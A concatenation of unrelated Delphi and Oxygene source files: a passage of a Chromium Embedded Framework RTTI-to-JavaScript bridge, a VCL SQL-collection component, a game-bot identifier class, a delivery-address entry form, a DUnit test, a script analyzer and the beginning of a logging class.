if v.IsString then vr := v.GetStringValue else
if v.IsBool then vr := v.GetBoolValue else
if v.IsInt then vr := v.GetIntValue else
if v.IsDouble then vr := v.GetDoubleValue else
if v.IsUndefined then TVarData(vr).VType := varEmpty else
if v.IsNull then TVarData(vr).VType := varNull else
if v.IsArray then
begin
vr := VarArrayCreate([0, v.GetArrayLength], varVariant);
for i := 0 to v.GetArrayLength - 1 do
begin
if not GetValue(pi, v.GetValueByIndex(i), vl) then Exit(False);
VarArrayPut(vr, vl.AsVariant, i);
end;
end else
Exit(False);
TValue.Make(@vr, pi, ret);
Result := True;
end;
function ProcessObject: Boolean;
var
ud: ICefv8Value;
i: Pointer;
td: PTypeData;
rt: TRttiType;
begin
if v.IsObject then
begin
ud := v.GetUserData;
if (ud = nil) then Exit(False);
{$IFDEF CPUX64}
rt := StrToPtr(ud.GetValueByIndex(0).GetStringValue);
{$ELSE}
rt := TRttiType(ud.GetValueByIndex(0).GetIntValue);
{$ENDIF}
td := GetTypeData(rt.Handle);
if (rt.TypeKind = tkClass) and td.ClassType.InheritsFrom(GetTypeData(pi).ClassType) then
begin
{$IFDEF CPUX64}
i := StrToPtr(ud.GetValueByIndex(1).GetStringValue);
{$ELSE}
i := Pointer(ud.GetValueByIndex(1).GetIntValue);
{$ENDIF}
TValue.Make(@i, pi, ret);
end else
Exit(False);
end else
Exit(False);
Result := True;
end;
function ProcessClass: Boolean;
var
ud: ICefv8Value;
i: Pointer;
rt: TRttiType;
begin
if v.IsObject then
begin
ud := v.GetUserData;
if (ud = nil) then Exit(False);
{$IFDEF CPUX64}
rt := StrToPtr(ud.GetValueByIndex(0).GetStringValue);
{$ELSE}
rt := TRttiType(ud.GetValueByIndex(0).GetIntValue);
{$ENDIF}
if (rt.TypeKind = tkClassRef) then
begin
{$IFDEF CPUX64}
i := StrToPtr(ud.GetValueByIndex(1).GetStringValue);
{$ELSE}
i := Pointer(ud.GetValueByIndex(1).GetIntValue);
{$ENDIF}
TValue.Make(@i, pi, ret);
end else
Exit(False);
end else
Exit(False);
Result := True;
end;
function ProcessRecord: Boolean;
var
r: TRttiField;
f: TValue;
rec: Pointer;
begin
if v.IsObject then
begin
TValue.Make(nil, pi, ret);
{$IFDEF DELPHI15_UP}
rec := TValueData(ret).FValueData.GetReferenceToRawData;
{$ELSE}
rec := IValueData(TValueData(ret).FHeapData).GetReferenceToRawData;
{$ENDIF}
for r in FCtx.GetType(pi).GetFields do
begin
if not GetValue(r.FieldType.Handle, v.GetValueByKey(r.Name), f) then
Exit(False);
r.SetValue(rec, f);
end;
Result := True;
end else
Result := False;
end;
function ProcessInterface: Boolean;
begin
if pi = TypeInfo(ICefV8Value) then
begin
TValue.Make(@v, pi, ret);
Result := True;
end else
Result := False; // todo
end;
begin
case pi.Kind of
tkInteger, tkEnumeration: Result := ProcessInt;
tkInt64: Result := ProcessInt64;
tkUString: Result := ProcessUString;
tkLString: Result := ProcessLString;
tkWString: Result := ProcessWString;
tkFloat: Result := ProcessFloat;
tkSet: Result := ProcessSet;
tkVariant: Result := ProcessVariant;
tkClass: Result := ProcessObject;
tkClassRef: Result := ProcessClass;
tkRecord: Result := ProcessRecord;
tkInterface: Result := ProcessInterface;
else
Result := False;
end;
end;
function TCefRTTIExtension.SetValue(const v: TValue; var ret: ICefv8Value): Boolean;
function ProcessRecord: Boolean;
var
rf: TRttiField;
vl: TValue;
ud, v8: ICefv8Value;
rec: Pointer;
rt: TRttiType;
begin
ud := TCefv8ValueRef.NewArray(1);
rt := FCtx.GetType(v.TypeInfo);
{$IFDEF CPUX64}
ud.SetValueByIndex(0, TCefv8ValueRef.NewString(PtrToStr(rt)));
{$ELSE}
ud.SetValueByIndex(0, TCefv8ValueRef.NewInt(Integer(rt)));
{$ENDIF}
ret := TCefv8ValueRef.NewObject(nil, nil);
ret.SetUserData(ud);
{$IFDEF DELPHI15_UP}
rec := TValueData(v).FValueData.GetReferenceToRawData;
{$ELSE}
rec := IValueData(TValueData(v).FHeapData).GetReferenceToRawData;
{$ENDIF}
if FSyncMainThread then
begin
v8 := ret;
TThread.Synchronize(nil, procedure
var
rf: TRttiField;
o: ICefv8Value;
begin
for rf in rt.GetFields do
begin
vl := rf.GetValue(rec);
SetValue(vl, o);
v8.SetValueByKey(rf.Name, o, V8_PROPERTY_ATTRIBUTE_NONE);
end;
end)
end else
for rf in FCtx.GetType(v.TypeInfo).GetFields do
begin
vl := rf.GetValue(rec);
if not SetValue(vl, v8) then
Exit(False);
ret.SetValueByKey(rf.Name, v8, V8_PROPERTY_ATTRIBUTE_NONE);
end;
Result := True;
end;
function ProcessObject: Boolean;
var
m: TRttiMethod;
p: TRttiProperty;
fl: TRttiField;
f: ICefv8Value;
_r, _g, _s, ud: ICefv8Value;
_a: TCefv8ValueArray;
rt: TRttiType;
begin
rt := FCtx.GetType(v.TypeInfo);
ud := TCefv8ValueRef.NewArray(2);
{$IFDEF CPUX64}
ud.SetValueByIndex(0, TCefv8ValueRef.NewString(PtrToStr(rt)));
ud.SetValueByIndex(1, TCefv8ValueRef.NewString(PtrToStr(v.AsObject)));
{$ELSE}
ud.SetValueByIndex(0, TCefv8ValueRef.NewInt(Integer(rt)));
ud.SetValueByIndex(1, TCefv8ValueRef.NewInt(Integer(v.AsObject)));
{$ENDIF}
ret := TCefv8ValueRef.NewObject(nil, nil); // todo
ret.SetUserData(ud);
for m in rt.GetMethods do
if m.Visibility > mvProtected then
begin
f := TCefv8ValueRef.NewFunction(m.Name, Self);
ret.SetValueByKey(m.Name, f, V8_PROPERTY_ATTRIBUTE_NONE);
end;
for p in rt.GetProperties do
if (p.Visibility > mvProtected) then
begin
if _g = nil then _g := ret.GetValueByKey('__defineGetter__');
if _s = nil then _s := ret.GetValueByKey('__defineSetter__');
SetLength(_a, 2);
_a[0] := TCefv8ValueRef.NewString(p.Name);
if p.IsReadable then
begin
_a[1] := TCefv8ValueRef.NewFunction('$pg' + p.Name, Self);
_r := _g.ExecuteFunction(ret, _a);
end;
if p.IsWritable then
begin
_a[1] := TCefv8ValueRef.NewFunction('$ps' + p.Name, Self);
_r := _s.ExecuteFunction(ret, _a);
end;
end;
for fl in rt.GetFields do
if (fl.Visibility > mvProtected) then
begin
if _g = nil then _g := ret.GetValueByKey('__defineGetter__');
if _s = nil then _s := ret.GetValueByKey('__defineSetter__');
SetLength(_a, 2);
_a[0] := TCefv8ValueRef.NewString(fl.Name);
_a[1] := TCefv8ValueRef.NewFunction('$vg' + fl.Name, Self);
_r := _g.ExecuteFunction(ret, _a);
_a[1] := TCefv8ValueRef.NewFunction('$vs' + fl.Name, Self);
_r := _s.ExecuteFunction(ret, _a);
end;
Result := True;
end;
function ProcessClass: Boolean;
var
m: TRttiMethod;
f, ud: ICefv8Value;
c: TClass;
rt: TRttiType;
begin
c := v.AsClass;
rt := FCtx.GetType(c);
ud := TCefv8ValueRef.NewArray(2);
{$IFDEF CPUX64}
ud.SetValueByIndex(0, TCefv8ValueRef.NewString(PtrToStr(rt)));
ud.SetValueByIndex(1, TCefv8ValueRef.NewString(PtrToStr(c)));
{$ELSE}
ud.SetValueByIndex(0, TCefv8ValueRef.NewInt(Integer(rt)));
ud.SetValueByIndex(1, TCefv8ValueRef.NewInt(Integer(c)));
{$ENDIF}
ret := TCefv8ValueRef.NewObject(nil, nil); // todo
ret.SetUserData(ud);
if c <> nil then
begin
for m in rt.GetMethods do
if (m.Visibility > mvProtected) and (m.MethodKind in [mkClassProcedure, mkClassFunction]) then
begin
f := TCefv8ValueRef.NewFunction(m.Name, Self);
ret.SetValueByKey(m.Name, f, V8_PROPERTY_ATTRIBUTE_NONE);
end;
end;
Result := True;
end;
function ProcessVariant: Boolean;
var
vr: Variant;
begin
vr := v.AsVariant;
case TVarData(vr).VType of
varSmallint, varInteger, varShortInt:
ret := TCefv8ValueRef.NewInt(vr);
varByte, varWord, varLongWord:
ret := TCefv8ValueRef.NewUInt(vr);
varUString, varOleStr, varString:
ret := TCefv8ValueRef.NewString(vr);
varSingle, varDouble, varCurrency, varUInt64, varInt64:
ret := TCefv8ValueRef.NewDouble(vr);
varBoolean:
ret := TCefv8ValueRef.NewBool(vr);
varNull:
ret := TCefv8ValueRef.NewNull;
varEmpty:
ret := TCefv8ValueRef.NewUndefined;
else
ret := nil;
Exit(False)
end;
Result := True;
end;
function ProcessInterface: Boolean;
var
m: TRttiMethod;
f: ICefv8Value;
ud: ICefv8Value;
rt: TRttiType;
begin
if TypeInfo(ICefV8Value) = v.TypeInfo then
begin
ret := ICefV8Value(v.AsInterface);
Result := True;
end else
begin
rt := FCtx.GetType(v.TypeInfo);
ud := TCefv8ValueRef.NewArray(2);
{$IFDEF CPUX64}
ud.SetValueByIndex(0, TCefv8ValueRef.NewString(PtrToStr(rt)));
ud.SetValueByIndex(1, TCefv8ValueRef.NewString(PtrToStr(Pointer(v.AsInterface))));
{$ELSE}
ud.SetValueByIndex(0, TCefv8ValueRef.NewInt(Integer(rt)));
ud.SetValueByIndex(1, TCefv8ValueRef.NewInt(Integer(v.AsInterface)));
{$ENDIF}
ret := TCefv8ValueRef.NewObject(nil, nil);
ret.SetUserData(ud);
for m in rt.GetMethods do
if m.Visibility > mvProtected then
begin
f := TCefv8ValueRef.NewFunction(m.Name, Self);
ret.SetValueByKey(m.Name, f, V8_PROPERTY_ATTRIBUTE_NONE);
end;
Result := True;
end;
end;
function ProcessFloat: Boolean;
begin
if v.TypeInfo = TypeInfo(TDateTime) then
ret := TCefv8ValueRef.NewDate(TValueData(v).FAsDouble) else
ret := TCefv8ValueRef.NewDouble(v.AsExtended);
Result := True;
end;
begin
case v.TypeInfo.Kind of
tkUString, tkLString, tkWString, tkChar, tkWChar:
ret := TCefv8ValueRef.NewString(v.AsString);
tkInteger: ret := TCefv8ValueRef.NewInt(v.AsInteger);
tkEnumeration:
if v.TypeInfo = TypeInfo(Boolean) then
ret := TCefv8ValueRef.NewBool(v.AsBoolean) else
ret := TCefv8ValueRef.NewInt(TValueData(v).FAsSLong);
tkFloat: if not ProcessFloat then Exit(False);
tkInt64: ret := TCefv8ValueRef.NewDouble(v.AsInt64);
tkClass: if not ProcessObject then Exit(False);
tkClassRef: if not ProcessClass then Exit(False);
tkRecord: if not ProcessRecord then Exit(False);
tkVariant: if not ProcessVariant then Exit(False);
tkInterface: if not ProcessInterface then Exit(False);
else
Exit(False)
end;
Result := True;
end;
class procedure TCefRTTIExtension.Register(const name: string; const value: TValue; SyncMainThread: Boolean);
begin
CefRegisterExtension(name,
format('__defineSetter__(''%s'', function(v){native function $s();$s(v)});__defineGetter__(''%0:s'', function(){native function $g();return $g()});', [name]),
TCefRTTIExtension.Create(value, SyncMainThread) as ICefv8Handler);
end;
{$IFDEF CPUX64}
class function TCefRTTIExtension.StrToPtr(const str: ustring): Pointer;
begin
HexToBin(PWideChar(str), @Result, SizeOf(Result));
end;
class function TCefRTTIExtension.PtrToStr(p: Pointer): ustring;
begin
SetLength(Result, SizeOf(p)*2);
BinToHex(@p, PWideChar(Result), SizeOf(p));
end;
{$ENDIF}
function TCefRTTIExtension.Execute(const name: ustring; const obj: ICefv8Value;
const arguments: TCefv8ValueArray; var retval: ICefv8Value;
var exception: ustring): Boolean;
var
p: PChar;
ud: ICefv8Value;
rt: TRttiType;
val: TObject;
cls: TClass;
m: TRttiMethod;
pr: TRttiProperty;
vl: TRttiField;
args: array of TValue;
prm: TArray<TRttiParameter>;
i: Integer;
ret: TValue;
begin
Result := True;
p := PChar(name);
m := nil;
if obj <> nil then
begin
ud := obj.GetUserData;
if ud <> nil then
begin
{$IFDEF CPUX64}
rt := StrToPtr(ud.GetValueByIndex(0).GetStringValue);
{$ELSE}
rt := TRttiType(ud.GetValueByIndex(0).GetIntValue);
{$ENDIF}
case rt.TypeKind of
tkClass:
begin
{$IFDEF CPUX64}
val := StrToPtr(ud.GetValueByIndex(1).GetStringValue);
{$ELSE}
val := TObject(ud.GetValueByIndex(1).GetIntValue);
{$ENDIF}
cls := GetTypeData(rt.Handle).ClassType;
if p^ = '$' then
begin
inc(p);
case p^ of
'p':
begin
inc(p);
case p^ of
'g':
begin
inc(p);
pr := rt.GetProperty(p);
if FSyncMainThread then
begin
TThread.Synchronize(nil, procedure begin
ret := pr.GetValue(val);
end);
Exit(SetValue(ret, retval));
end else
Exit(SetValue(pr.GetValue(val), retval));
end;
's':
begin
inc(p);
pr := rt.GetProperty(p);
if GetValue(pr.PropertyType.Handle, arguments[0], ret) then
begin
if FSyncMainThread then
TThread.Synchronize(nil, procedure begin
pr.SetValue(val, ret) end) else
pr.SetValue(val, ret);
Exit(True);
end else
Exit(False);
end;
end;
end;
'v':
begin
inc(p);
case p^ of
'g':
begin
inc(p);
vl := rt.GetField(p);
if FSyncMainThread then
begin
TThread.Synchronize(nil, procedure begin
ret := vl.GetValue(val);
end);
Exit(SetValue(ret, retval));
end else
Exit(SetValue(vl.GetValue(val), retval));
end;
's':
begin
inc(p);
vl := rt.GetField(p);
if GetValue(vl.FieldType.Handle, arguments[0], ret) then
begin
if FSyncMainThread then
TThread.Synchronize(nil, procedure begin
vl.SetValue(val, ret) end) else
vl.SetValue(val, ret);
Exit(True);
end else
Exit(False);
end;
end;
end;
end;
end else
m := rt.GetMethod(name);
end;
tkClassRef:
begin
val := nil;
{$IFDEF CPUX64}
cls := StrToPtr(ud.GetValueByIndex(1).GetStringValue);
{$ELSE}
cls := TClass(ud.GetValueByIndex(1).GetIntValue);
{$ENDIF}
m := FCtx.GetType(cls).GetMethod(name);
end;
else
m := nil;
cls := nil;
val := nil;
end;
prm := m.GetParameters;
i := Length(prm);
if i = Length(arguments) then
begin
SetLength(args, i);
for i := 0 to i - 1 do
if not GetValue(prm[i].ParamType.Handle, arguments[i], args[i]) then
Exit(False);
case m.MethodKind of
mkClassProcedure, mkClassFunction:
if FSyncMainThread then
TThread.Synchronize(nil, procedure begin
ret := m.Invoke(cls, args) end) else
ret := m.Invoke(cls, args);
mkProcedure, mkFunction:
if (val <> nil) then
begin
if FSyncMainThread then
TThread.Synchronize(nil, procedure begin
ret := m.Invoke(val, args) end) else
ret := m.Invoke(val, args);
end else
Exit(False)
else
Exit(False);
end;
if m.MethodKind in [mkClassFunction, mkFunction] then
if not SetValue(ret, retval) then
Exit(False);
end else
Exit(False);
end else
if p^ = '$' then
begin
inc(p);
case p^ of
'g': SetValue(FValue, retval);
's': GetValue(FValue.TypeInfo, arguments[0], FValue);
else
Exit(False);
end;
end else
Exit(False);
end else
Exit(False);
end;
{$ENDIF}
end.
|
unit glLittleParent;
interface
uses
System.SysUtils, System.Classes, Vcl.Controls;
type
TglSQLQuery = class(TCollectionItem)
private
fSQL: TStringList;
protected
procedure SetSQL(value: TStringList);
public
constructor Create(Collection: TCollection); override;
destructor Destroy; override;
published
property SQL: TStringList read fSQL write SetSQL;
end;
TglLittleParent = class;
TItemChangeEvent = procedure(Item: TCollectionItem) of object;
TSQLCollection = class(TCollection)
private
fMainSQL: TglLittleParent;
fOnItemChange: TItemChangeEvent;
function GetItem(Index: Integer): TglSQLQuery;
procedure SetItem(Index: Integer; const value: TglSQLQuery);
protected
function GetOwner: TPersistent; override;
procedure Update(Item: TCollectionItem); override;
procedure DoItemChange(Item: TCollectionItem); dynamic;
public
constructor Create(Owner: TglLittleParent);
function Add: TglSQLQuery;
property Items[Index: Integer]: TglSQLQuery read GetItem
write SetItem; default;
published
property OnItemChange: TItemChangeEvent read fOnItemChange
write fOnItemChange;
end;
TglLittleParent = class(TWinControl)
private
fSQLCollection: TSQLCollection;
procedure SetSQLCollection(const value: TSQLCollection);
public
constructor Create(AOwner: TComponent); override;
destructor Destroy; override;
published
property QueryBox: TSQLCollection read fSQLCollection
write SetSQLCollection;
end;
procedure Register;
implementation
procedure Register;
begin
RegisterComponents('Golden Line', [TglLittleParent]);
end;
{ TglLittleParent }
constructor TglLittleParent.Create(AOwner: TComponent);
begin
inherited;
ControlStyle := [csCaptureMouse, csClickEvents, csAcceptsControls];
end;
end.
|
namespace UT3Bots.UTItems;
interface
uses
System.Collections.Generic,
System.Linq,
System.Text;
type
UTIdentifier = public class
private
_id: String;
public
constructor;
constructor (id: String);
method ToString: String; override;
method CompareTo(other: UTIdentifier): Integer;
method GetHashCode: integer; override;
method Equals(obj: Object): boolean; override;
class operator Equal(obj1, obj2: UTIdentifier): boolean;
class operator NotEqual(obj1, obj2: UTIdentifier): boolean;
end;
implementation
method UTIdentifier.ToString: String;
begin
Result := _id;
end;
method UTIdentifier.GetHashCode: integer;
begin
Result := _id.GetHashCode;
end;
method UTIdentifier.Equals(obj: Object): boolean;
begin
Result := false;
if (obj is UTIdentifier) then
begin
Result := (_id = ((obj as UTIdentifier)._id));
end;
end;
class operator UTIdentifier.Equal(obj1, obj2: UTIdentifier): boolean;
begin
if (System.Object.ReferenceEquals(obj1, obj2)) then exit True;
if (((obj1 as Object) = nil) or ((obj1 as Object) = nil)) then Result := False;
Result := (obj1._id = obj2._id);
end;
class operator UTIdentifier.NotEqual(obj1, obj2: UTIdentifier): boolean;
begin
Result := (obj1 <> obj2);
end;
constructor UTIdentifier(id: String);
begin
constructor;
_id := id;
end;
constructor UTIdentifier;
begin
end;
method UTIdentifier.CompareTo(other: UTIdentifier): Integer;
begin
Result := Self._id.CompareTo(other._id);
end;
end. |
unit Unit83;
interface
uses
Winapi.Windows, Winapi.Messages, System.SysUtils, System.Variants, System.Classes, Vcl.Graphics,
Vcl.Controls, Vcl.Forms, Vcl.Dialogs, Vcl.StdCtrls, Vcl.Buttons, Vcl.ExtCtrls;
type
TForm83 = class(TForm)
Panel1: TPanel;
BitBtn1: TBitBtn;
GroupBox1: TGroupBox;
Label2: TLabel;
cliente: TEdit;
endereco: TEdit;
Label8: TLabel;
Label1: TLabel;
obs: TEdit;
telefone: TEdit;
Label3: TLabel;
Label4: TLabel;
taxa: TEdit;
procedure clienteKeyPress(Sender: TObject; var Key: Char);
procedure telefoneKeyPress(Sender: TObject; var Key: Char);
procedure enderecoKeyPress(Sender: TObject; var Key: Char);
procedure obsKeyPress(Sender: TObject; var Key: Char);
procedure BitBtn1KeyPress(Sender: TObject; var Key: Char);
procedure FormShow(Sender: TObject);
procedure FormCreate(Sender: TObject);
procedure BitBtn1Click(Sender: TObject);
procedure taxaKeyPress(Sender: TObject; var Key: Char);
private
procedure teclaEsc(key : char);
procedure proximo(key : char);
procedure gravaEndereco;
function validaInformacoes() : boolean;
procedure buscaInformacoes();
{ Private declarations }
public
codEntrega : string;
{ Public declarations }
end;
var
Form83: TForm83;
implementation
{$R *.dfm}
uses Unit1, func;
procedure TForm83.BitBtn1Click(Sender: TObject);
begin
if validaInformacoes = false then exit;
gravaEndereco;
end;
procedure TForm83.BitBtn1KeyPress(Sender: TObject; var Key: Char);
begin
teclaEsc(key);
proximo(key);
end;
procedure TForm83.clienteKeyPress(Sender: TObject; var Key: Char);
begin
teclaEsc(key);
proximo(key);
end;
procedure TForm83.taxaKeyPress(Sender: TObject; var Key: Char);
begin
if key = #32 then begin
if tedit(sender).Text = 'N' then tedit(sender).Text := 'C'
else if tedit(sender).Text = 'C' then tedit(sender).Text := 'D';
end;
if key = #8 then tedit(sender).Text := 'N';
teclaEsc(key);
proximo(key);
if not(funcoes.Contido(UpCase(key), 'NCDS')) then key := #0
else begin
tedit(sender).Text := UpCase(key);
key := #0;
end;
end;
procedure TForm83.enderecoKeyPress(Sender: TObject; var Key: Char);
begin
teclaEsc(key);
proximo(key);
end;
procedure TForm83.FormCreate(Sender: TObject);
begin
codEntrega := '0';
end;
procedure TForm83.FormShow(Sender: TObject);
begin
cliente.SetFocus;
buscaInformacoes;
end;
procedure TForm83.obsKeyPress(Sender: TObject; var Key: Char);
begin
teclaEsc(key);
proximo(key);
end;
procedure TForm83.teclaEsc(key : char);
begin
if key <> #27 then exit;
if cliente.Focused then begin
close;
exit;
end;
cliente.SetFocus;
end;
procedure TForm83.proximo(key : char);
begin
if key <> #13 then exit;
if BitBtn1.Focused then exit;
if cliente.Focused then begin
telefone.SetFocus;
exit;
end;
if telefone.Focused then begin
endereco.SetFocus;
exit;
end;
if endereco.Focused then begin
obs.SetFocus;
exit;
end;
if obs.Focused then begin
taxa.SetFocus;
exit;
end;
if taxa.Focused then begin
BitBtn1.SetFocus;
exit;
end;
end;
procedure TForm83.gravaEndereco;
begin
if StrToIntDef(codEntrega, 0) > 0 then begin
close;
EXIT;
end;
codEntrega := Incrementa_Generator('ENTREGA', 1);
dm.IBQuery1.Close;
dm.IBQuery1.SQL.Text := 'insert into ENTREGA(TAXA,COD, CLIENTE, TELEFONE, ENDERECO, OBS ) VALUES '+
'(:TAXA, :COD, :CLIENTE, :TELEFONE, :ENDERECO, :OBS )';
//dm.IBQuery1.ParamByName('TAXA').AsCurrency := StrToInt(codEntrega);
dm.IBQuery1.ParamByName('TAXA').AsCurrency := 0;
if TAXA.Text = 'C' then dm.IBQuery1.ParamByName('TAXA').AsCurrency := 7;
if TAXA.Text = 'D' then dm.IBQuery1.ParamByName('TAXA').AsCurrency := 10;
if TAXA.Text = 'S' then dm.IBQuery1.ParamByName('TAXA').AsCurrency := StrToCurr(funcoes.buscaParamGeral(124, '5'));
dm.IBQuery1.ParamByName('cod').AsInteger := StrToInt(codEntrega);
dm.IBQuery1.ParamByName('CLIENTE').AsString := cliente.Text;
dm.IBQuery1.ParamByName('TELEFONE').AsString := TELEFONE.Text;
dm.IBQuery1.ParamByName('ENDERECO').AsString := ENDERECO.Text;
dm.IBQuery1.ParamByName('OBS').AsString := OBS.Text;
dm.IBQuery1.ExecSQL;
dm.IBQuery1.Transaction.Commit;
close;
end;
procedure TForm83.telefoneKeyPress(Sender: TObject; var Key: Char);
begin
teclaEsc(key);
proximo(key);
end;
function TForm83.validaInformacoes() : boolean;
begin
Result := false;
if Length(cliente.Text) < 2 then begin
ShowMessage('Nome Do Cliente Inválido!');
exit;
end;
if Length(endereco.Text) < 5 then begin
ShowMessage('Endereço Inválido!');
exit;
end;
Result := true;
end;
procedure TForm83.buscaInformacoes();
begin
if StrToIntDef(codEntrega, 0) <= 0 then EXIT;
dm.IBselect.Close;
dm.IBselect.SQL.Text := 'select * from entrega where cod = :cod';
dm.IBselect.ParamByName('cod').AsInteger := StrToIntDef(codEntrega, 0);
dm.IBselect.Open;
cliente.Text := dm.IBselect.FieldByName('cliente').AsString;
telefone.Text := dm.IBselect.FieldByName('telefone').AsString;
endereco.Text := dm.IBselect.FieldByName('endereco').AsString;
obs.Text := dm.IBselect.FieldByName('obs').AsString;
dm.IBselect.Close;
end;
end.
|
unit TestUContasPagarController;
{
Delphi DUnit Test Case
----------------------
This unit contains a skeleton test case class generated by the Test Case Wizard.
Modify the generated code to correctly setup and call the methods from the unit
being tested.
}
interface
uses
TestFramework, UContasPagarVO, UCondominioVO, SysUtils, DBClient, DBXJSON, UPessoasVO,
UCondominioController, DBXCommon, UHistoricoVO, UPlanoCOntasController,
UPessoasController, Generics.Collections, Classes, UController, DB, UPlanoContasVO,
UContasPagarController, ConexaoBD, SQLExpr;
type
// Test methods for class TContasPagarController
TestTContasPagarController = class(TTestCase)
strict private
FContasPagarController: TContasPagarController;
public
procedure SetUp; override;
procedure TearDown; override;
published
procedure TestConsultarPorId;
procedure TestConsultaPorIdNaoEncontrado;
end;
implementation
procedure TestTContasPagarController.SetUp;
begin
FContasPagarController := TContasPagarController.Create;
end;
procedure TestTContasPagarController.TearDown;
begin
FContasPagarController.Free;
FContasPagarController := nil;
end;
procedure TestTContasPagarController.TestConsultaPorIdNaoEncontrado;
var
ReturnValue: TContasPagarVO;
id: Integer;
begin
ReturnValue := FContasPagarController.ConsultarPorId(150);
if(returnvalue <> nil) then
check(false,'Contas a Pagar pesquisado com sucesso!')
else
check(true,'Contas a Pagar não encontrado!');
end;
procedure TestTContasPagarController.TestConsultarPorId;
var
ReturnValue: TContasPagarVO;
id: Integer;
begin
ReturnValue := FContasPagarController.ConsultarPorId(76);
if(returnvalue <> nil) then
check(true,'Contas a Pagar pesquisado com sucesso!')
else
check(false,'Contas a Pagar não encontrado!');
end;
initialization
// Register any test cases with the test runner
RegisterTest(TestTContasPagarController.Suite);
end.
|
unit Validador.Core.Impl.AnalisadorScript;
interface
implementation
uses
System.SysUtils, Data.DB, Vcl.Dialogs, FireDAC.Comp.Client, Validador.DI,
Validador.Core.LocalizadorScript, Validador.Core.AnalisadorScript;
type
TAnalisadorScript = class(TInterfacedObject, IAnalisadorScript)
private
FAnalise: TFDMemTable;
FDBChange: TFDMemTable;
FArquivos: TFDMemTable;
FAnaliseNOME_SCRIPT: TField;
FDBChangeNome: TField;
FArquivosNOME_ARQUIVO: TField;
FAnaliseNOME_ARQUIVO: TField;
FDiretorioPadrao: TFileName;
procedure CarregarScriptsNaAnalise;
procedure CarregarListaDeArquivo;
procedure CarregarArquivosNaAnalise;
public
constructor Create(const AAnalise, ADBChange, AArquivos: TFDMemTable);
class function New(const AAnalise, ADBChange, AArquivos: TFDMemTable): IAnalisadorScript;
function SetAnalise(const AAnalise: TFDMemTable): IAnalisadorScript;
function SetDBChange(const ADBChange: TFDMemTable): IAnalisadorScript;
function SetArquivos(const AArquivos: TFDMemTable): IAnalisadorScript;
function SetDiretorioPadrao(const ADiretorioPadrao: TFileName): IAnalisadorScript;
procedure Analisar;
end;
class function TAnalisadorScript.New(const AAnalise, ADBChange, AArquivos: TFDMemTable)
: IAnalisadorScript;
begin
result := Create(AAnalise, ADBChange, AArquivos);
end;
constructor TAnalisadorScript.Create(const AAnalise, ADBChange, AArquivos: TFDMemTable);
begin
SetAnalise(AAnalise);
SetDBChange(ADBChange);
SetArquivos(AArquivos);
end;
function TAnalisadorScript.SetAnalise(const AAnalise: TFDMemTable): IAnalisadorScript;
begin
if FAnalise = AAnalise then
exit;
FAnalise := AAnalise;
FAnaliseNOME_SCRIPT := FAnalise.FindField('NOME_SCRIPT');
FAnaliseNOME_ARQUIVO := FAnalise.FindField('NOME_ARQUIVO');
Result := Self;
end;
function TAnalisadorScript.SetDBChange(const ADBChange: TFDMemTable): IAnalisadorScript;
begin
if FDBChange = ADBChange then
exit;
FDBChange := ADBChange;
FDBChangeNome := FDBChange.FindField('NOME');
Result := Self;
end;
function TAnalisadorScript.SetDiretorioPadrao(const ADiretorioPadrao: TFileName): IAnalisadorScript;
begin
FDiretorioPadrao := ADiretorioPadrao;
result := Self;
end;
function TAnalisadorScript.SetArquivos(const AArquivos: TFDMemTable): IAnalisadorScript;
begin
if FArquivos = AArquivos then
exit;
FArquivos := AArquivos;
FArquivosNOME_ARQUIVO := FArquivos.FindField('NOME_ARQUIVO');
Result := Self;
end;
procedure TAnalisadorScript.Analisar;
begin
if FDBChange.IsEmpty then
exit;
FAnalise.EmptyDataSet;
CarregarScriptsNaAnalise;
CarregarListaDeArquivo;
CarregarArquivosNaAnalise;
end;
procedure TAnalisadorScript.CarregarScriptsNaAnalise;
begin
FDBChange.First;
FAnalise.DisableControls;
try
while not FDBChange.Eof do
begin
FAnalise.Insert;
FAnaliseNOME_SCRIPT.AsString := FDBChangeNome.AsString;
FAnalise.Post;
FDBChange.Next;
end;
finally
FAnalise.EnableControls;
end;
end;
procedure TAnalisadorScript.CarregarListaDeArquivo;
begin
FArquivos.EmptyDataSet;
with TFileOpenDialog.Create(nil) do
try
Title := 'Escolha o diretório raíz do dbChange';
Options := [fdoPickFolders, fdoPathMustExist, fdoForceFileSystem];
OkButtonLabel := 'Selecionar';
DefaultFolder := FDiretorioPadrao;
FileName := EmptyStr;
if not Execute then
Abort;
ContainerDI.Resolve<ILocalizadorDeScript>.SetDataSet(FArquivos).Localizar(FileName);
finally
Free;
end
end;
procedure TAnalisadorScript.CarregarArquivosNaAnalise;
begin
FArquivos.First;
FAnalise.DisableControls;
try
while not FArquivos.Eof do
begin
if FAnalise.FindKey([FArquivosNOME_ARQUIVO.AsString]) then
FAnalise.Edit
else
FAnalise.Insert;
FAnaliseNOME_ARQUIVO.AsString := FArquivosNOME_ARQUIVO.AsString;
FAnalise.Post;
FArquivos.Next;
end;
finally
FAnalise.EnableControls;
end;
end;
initialization
ContainerDI.RegisterType<TAnalisadorScript>.Implements<IAnalisadorScript>('IAnalisadorScript');
ContainerDI.Build;
end.
|
unit SDULogger_U;
// Description: Sarah Dean's Logging Object
// By Sarah Dean
// Email: sdean12@sdean12.org
// WWW: http://www.SDean12.org/
//
// -----------------------------------------------------------------------------
//
interface
type
{$TYPEINFO ON} // Needed to allow "published"
// Forward declaration...
TSDULogger = class;
TSDULogMessageEvent = procedure(Sender: TSDULogger; Msg: string) of object;
TSDULogger = class
private
FFilename: string;
FOnLogMessage: TSDULogMessageEvent;
FIndent: integer;
public
constructor Create(); overload;
constructor Create(fname: string); overload;
destructor Destroy(); override;
// Log a message, together with time/date
// If "timedAt" isn't specified, the current time will be used
function LogMessage(msg: string; timedAt: TDateTime = 0): boolean;
procedure LogIndent();
procedure LogOutdent();
function FormatMsg(msg: string; timedAt: TDateTime = 0): string;
published
property Filename: string read FFilename write FFilename;
property OnLogMessage: TSDULogMessageEvent read FOnLogMessage write FOnLogMessage;
end;
implementation
uses
// If this compiler directive is set, then the logger will attempt to send
// messages to the GExperts debug window
// See: www.gexperts.org
{$IFDEF _GEXPERTS_DEBUG}
DbugIntf,
{$ENDIF}
sysutils;
constructor TSDULogger.Create();
begin
Create('');
end;
constructor TSDULogger.Create(fname: string);
begin
inherited Create();
Filename := fname;
FOnLogMessage := nil;
FIndent := 0;
end;
destructor TSDULogger.Destroy();
begin
inherited;
end;
function TSDULogger.FormatMsg(msg: string; timedAt: TDateTime = 0): string;
begin
if (timedAt = 0) then
begin
timedAt := Now();
end;
